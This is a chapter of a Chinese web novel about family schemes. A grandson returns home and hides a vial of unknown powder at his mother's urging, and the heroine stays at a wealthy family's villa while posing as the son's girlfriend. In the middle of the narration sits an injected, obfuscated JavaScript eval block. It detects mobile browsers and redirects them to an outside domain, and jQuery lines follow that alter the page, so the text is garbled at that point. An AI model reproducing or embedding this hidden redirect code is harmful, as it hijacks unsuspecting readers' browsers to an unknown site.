两天后,巩静文和沈涛联系好了时间,把沈艺送上了长途大巴车,沈涛在南区的汽车总站接到孩子。
沈艺这次算是衣锦还乡,听从了巩静文的提点,特地把一叠奖状和考了高分的英语卷子踹在手里。
一路上沈涛对他赞不绝口,奖状摸了又摸,对这个宝贝孙子过去的疼爱,又十分熟练地安排上。
孙子取得的耀眼成绩是沈涛这段日子里唯一的光,他短时间内的转变,叫沈涛想起了巩静文的作用,他不禁重新评估巩静文还可以给沈家带来的价值。
事实证明,他的眼光从来就不会错。
排除掉巩静文滥交方面的问题,他还是比较认可这个人的,会做面子,又有编制,带出去给沈家长脸,说话大方和亲戚朋友玩得开,比丁思南更加适合沈家。
当初沈时要离婚,沈涛心里是百般不愿意的,只是拗不过沈时坚决的态度,老天有眼,转了一圈,还得是她。
家里成了这个样子,有巩静文在的话,培养孩子这方面他首先就有指望了。
巩静文和沈家都是相处过的老熟人,互相之间彼此知根知底,比丁思南这种外省人放心多了。
依他的主意,要是沈时还能和巩静文复婚就好了…
终于回来了,一打开门,大家都在,还是熟悉的屋子,还是熟悉的面孔。
沈艺由衷地感到一种熟悉感,非常安心。
他住在学校宿舍时,由于巩静文每周会有几天晚自习的工作安排,只能留他一个人先睡,可是他害怕一个人,害怕那间陌生的宿舍,唯独妈妈在旁边陪着的时候,才能找回一点安全感。
沈涛迫不及待地把奖状和高分卷子展示给沈时看。
“你看看,我就说我们孙孙是前途无量的。他只要专心读书,成绩很快就提上来了。”
王琴开开心心地过来凑热闹。
“谁说我孙孙不行啦?男孩子嘛,小时候都调皮的,发力在以后。只是以前读书不专心不认真,一认真起来,谁能比得过我孙孙优秀?”
她把沈艺的小脸搓了又搓,拥进怀里。
“我的心肝小宝贝哦,想死奶奶咯。我看看,是不是瘦了点?黑了点?”
沈艺重回了沈家巅峰宝座,一想到假期一结束又要回到乡镇学校去,心里已经开始舍不得了。
家里多好啊,那么多人疼呢。
他眼角一直在关注沈时的反应。
只见沈时一反常态地抓起沈艺的奖状和卷子,就像个普通家长关注孩子的成绩那样,一张一张翻过,欣慰之下也轻声给予了肯定:“懂事了,考得不错。”
沈艺松了一口气,心里的喜悦好像打翻了蜂蜜罐子那么甜。
他这一次回来隐约意识到,家里的人看上去没什么变化,可在表面之下,每个人的态度都有点反常,尤其是对妈妈。
爷爷居然当着大家的面夸妈妈教子有方,而以前总是和妈妈掐架的奶奶,没有反驳,只是温柔地看着自己。
爸爸就更奇怪了,他从前恨妈妈入骨,而今听到爷爷叫他好好跟妈妈恢复联系的建议,爸爸没什么太大的反应,还点了点头。
沈艺开心极了。
这个家本来是一盘散沙,谁也容不得谁,大家浑身的力气好像都用在了互相针对、彼此记恨上,可是今天不一样了,他觉得这个家在慢慢地聚拢,越来越像一个家了。
沈艺回到家后,没有看到丁思南的身影,他从大人们的只言片语中,听说了丁思南搞出来的各种爆炸性的事件,不由地攥紧了拳头。
沈家也是他的家,沈家的资产将来都是他沈艺的,那个女人太过分了,摆明了就是冲着沈家来的。
人都是选择性记忆的动物,小孩更是如此。
他对某些东西记仇,又对另一些东西健忘。
沈艺一路上快淹没在爷爷赞美的海洋里了,这些赞美之词刷新了他的记忆,曾经和爸爸爷爷有过的不愉快和猜忌全部被一扫而空。
他忽然自肺腑中萌生出了要为家里铲除丁思南这个外来恶霸的责任感。
他作为沈家未来的继承人,义不容辞。
沈艺回到房间,关上房门,小心翼翼地把装了未知粉末的小药瓶塞在抽屉的最深处。
他谨记妈妈的交代。
------------------
丁思南带着刘舒雅,跟着齐修远顺利住进了齐家大别墅。
她穿得是齐修远带她买的衣服,气质完全匹配,举手投足间全然未见普通人第一次穿名牌货的拘谨,出来的效果叫大家眼前一亮。
丁思南本人倒是没什么意外的,这些衣服和她以前在玉城会买的差不多,对于品牌每年会玩的花样和时尚趋势都看腻了,现在充其量就是借着角色扮演来短暂地回到了过去的生活质量而已。
大家在一起相处的久了,对丁思南的原生家庭或多或少都有所了解,只知道她生得不比大家差,没想到玉城的中产和槐市的中产中间还隔着好几个档次的。
只有当褪去沈家给她沾染的土气之后,再重新放到眼前一对比,虞晓莲她们才知道自己当初一眼就觉得她不凡那种直觉是哪儿来的了。
丁思南还买了化妆品做了头发,加上她这几个月下来混迹在社会的各个角落,努力学习和各种人打交道,前世的学生气已完全褪去,打扮起来整体的成熟度上升了好几岁。
“怎么把小丁扮老了呢?”
刘舒雅对丁思南崭新的扮相赞不绝口,唯独不满意这一点,朝齐修远抱怨道。
“没事儿,这样挺好的,叫人看着有阅历,说话才更容易让人信服呢。”
丁思南自己挺满意的,她讨厌过去的学生气,那种单纯无知傻白甜,骗子在人海中只需一秒便能锁定她满脸的愚蠢,被卖了还帮人家数钱那种愚蠢。
刘舒雅穿得是自己的衣服,她家世本来就不错,在旁边衬着丁思南,既不会显得搭不上丁思南,又不会喧宾夺主。
热闹的晚宴之后,外人悉数退场,是专属于自己人的亲情时间。
严格来说齐家只剩下父子二人,齐老头子和齐修远都不愿意回家吃饭,一来是实在冷清,二来父子俩不对付互相看不顺眼,这饭经常没法好好吃。
今天加入了两位女宾,谈吐上超出了齐茂山原先对她们的固有印象,在一种阖家欢乐的气氛里,一顿普通的家宴居然欢欢喜喜地吃到了晚上九点多钟。
齐氏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370480|171101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
父子破天荒地没有吵架,还对饮了几杯酒,喝得两人脸上红扑扑的,甚是喜气。
齐茂山首次公开肯定了齐修远的选择,不吝表达了和全天下的老父亲没什么两样的期盼,他盼望着儿子早日独当一面继承家业,自己好早日退休,抱上孙子,颐养天年。
他还大方地表示,只要齐修远愿意踏实下来,他作为家长,小辈想做什么都会鼎力支持。
连在齐家服侍了多年的管家见了此情此景,不禁被这番温情动容,去给已过世的夫人上了几炷香,告诉她这一喜讯。
老管家是看着齐修远长大的,对他的秉性最是了解。
他在夫人的遗像前低语,请她放心,公子终于长大了,收心了。他这回找了个正经姑娘,从此以后有人照顾他了。
在愉快的氛围之中,一场家庭宴会谢幕。
齐家给两位女宾一人安排了一间客房,夜深人静后,刘舒雅悄悄挤到丁思南房里来要和她一起睡。
刘舒雅往按摩桶里撒入玫瑰花瓣,后仰在床上感叹:“老齐老板不像小齐老板说的那样难搞嘛,人不是挺好的?可怜天下父母心呀,我还以为他会为难我们两个小地方来的人呢,没想到堂堂大集团的老板会亲自为我们办家宴,一点架子也没有。钱的事情他答应地多爽快,小丁,我们的任务算不算已经完成了?”
为了区分两个齐老板,她俩称齐茂山为老齐老板,称齐修远为小齐老板。
丁思南戴着蒸汽眼罩陷在一台按摩椅上,正在享受劳碌一天之后的舒缓。
事情确实顺利得出乎意料,居然对她这个儿子的准女友连背调都没多问几句。
“小丁工作上生活上,有没有什么需要帮助的地方?”
“小丁对我们齐氏集团有了解吗?有没有兴趣挑选一个喜欢的职位来做做?”
“小丁对别墅感兴趣吗?喜欢联排的还是独栋的?”
……
丁思南不禁疑惑,齐修远到底是多么的没行情没市场?他在外表和家世上看不出来哪里比别人差了,齐茂山对待他就像在推销一件滞销品。
老头子整晚的表现看起来,只要有个正常女人愿意接收他的儿子都把他高兴半天,他还生怕丁思南会反悔似的,一道一道的承诺摆在台面上。
“咱们既然答应了人家,就把明天、后天的流程走完再说,别辜负了人家的一片心意。钱的事情,抽空催催小齐老板,不强求。他为‘星星托管培训班’做的已经够多了。”
丁思南有些打退堂鼓了,等他们回去之后,她和齐修远‘分手’的消息传过来,齐茂山会不会受不了这刺激?
拿这种事情去骗一个老人是不是太没人性了?
丁思南发现自己在来之前对于必须搞到钱的执着,似乎正在动摇。
楼下的古董立式大钟敲响了十一下,闷重的钟声把丁思南的思绪抽回现实。
“别收拾了,她们家有佣人,这些明天佣人会收拾的。我们赶紧休息吧,明天又是特种兵的一天。”
她和刘舒雅打着哈欠,裹着睡衣缩到绵软舒适的大床上,丁思南很快就听到刘舒雅轻微的鼾声。
没心事真好。
她翻了个身,开始数羊。